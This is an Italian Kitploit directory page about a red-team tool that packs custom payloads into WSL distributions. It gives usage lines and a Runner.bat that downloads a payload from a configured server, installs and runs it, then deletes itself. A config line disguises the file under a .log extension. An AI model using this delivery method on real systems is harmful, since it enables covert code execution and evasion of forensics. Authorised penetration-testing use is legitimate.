Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WSL_Payload_Builder — Un potente script shell per creare distribuzioni WSL (Windows Subsystem for Linux) personalizzate con payload integrati. | Kitploit
Strumenti/GitHubGitHub/m1ddl3w4r3/wsl_payload_builder
Generazione di PayloadPenetration TestingRed TeamingSviluppo Payload
GitHubm1ddl3w4r3/wsl_payload_builder

WSL_Payload_Builder

Un potente script shell per creare distribuzioni WSL (Windows Subsystem for Linux) personalizzate con payload integrati.

Vedi Repository
7279 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

WSL Payload Builder

Disclaimer

Questo strumento è destinato a ricerche di sicurezza legittime e test di penetrazione. Gli utenti sono responsabili di garantire di avere la dovuta autorizzazione prima di testare sistemi che non possiedono o per cui non hanno un permesso esplicito.

Panoramica

Uno script shell per creare distribuzioni WSL (Windows Subsystem for Linux) minime con payload incorporati. Questo strumento automatizza il processo di creazione di distribuzioni WSL basate su Alpine Linux in grado di eseguire payload personalizzati all'avvio.

Lo script Build_WSL_Payload.sh scarica l'ultima rootfs di Alpine Linux, la personalizza per l'uso con WSL, incorpora un eseguibile specificato dall'utente e impacchetta tutto in un file .wsl distribuibile.

Runner.bat scaricherà il file di configurazione WSL dall'URL fornito e lo avvierà (installerà wsl se non presente e se sono disponibili diritti di amministratore)

Ciò è particolarmente utile per i test di penetrazione, la ricerca sulla sicurezza e la creazione di ambienti WSL personalizzati.

Utilizzo

Creazione di payload (Linux/macOS/Windows(WSL))

Argomenti

  • -N, --name: Specifica il nome predefinito della distribuzione per WSL
  • -P, --payload: Specifica il percorso del file eseguibile del payload
  • -H, --help: Mostra il menu di aiuto

Esempi

root@kitploit:~
# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe

Esecuzione dei payload (Windows)

Utilizzo di base

Opzione 1. Doppio clic - Fare doppio clic sul file WSL eseguirà il payload ma aprirà anche un prompt dei comandi che deve essere chiuso manualmente. (Non consigliato)

Opzione 2. Usare il file Runner.bat

root@kitploit:~
C:\Users\USER_NAME> .\Runner.bat

Cosa fa

Lo script Runner.bat automaticamente:

  1. Scarica il file payload WSL da un URL configurato
  2. Verifica se WSL è già installato sul sistema
  3. Installa WSL se non presente (richiede privilegi di amministratore)
  4. Installa la distribuzione WSL scaricata
  5. Esegue la pulizia rimuovendo la distribuzione e sé stesso dopo l'esecuzione.

Requisiti

  • Windows 10/11 con supporto WSL
  • Privilegi di amministratore (se WSL non è già installato)
  • Connessione Internet per scaricare il file payload se si utilizza lo script .bat

Configurazione

Modifica le variabili all'inizio di Runner.bat per personalizzare:

root@kitploit:~
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here. 

Riferimenti

Questo progetto è stato ispirato e si basa sulla ricerca e sulle tecniche documentate nel repository dmcxblue/WSL-Payloads, che offre preziosi spunti sulla weaponizzazione del formato file WSL e sulla ricerca sulla sicurezza.

Licenza

Licenza MIT

Con la presente si concede gratuitamente a chiunque ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), il permesso di utilizzare il Software senza restrizioni, inclusi, senza limitazione, i diritti di usare, copiare, modificare, unire, pubblicare, distribuire, concedere in sottolicenza e/o vendere copie del Software, e di consentire alle persone a cui il Software è fornito di fare altrettanto, alle seguenti condizioni:

L'avviso di copyright sopra riportato e questo avviso di permesso dovranno essere inclusi in tutte le copie o parti sostanziali del Software.

IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIE DI ALCUN TIPO, ESPRESSE O IMPLICITE, INCLUSO MA NON LIMITATO ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE DI CONTRATTO, ILLECITO O ALTRO, DERIVANTE DA, FUORI O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.

Scarica lo strumento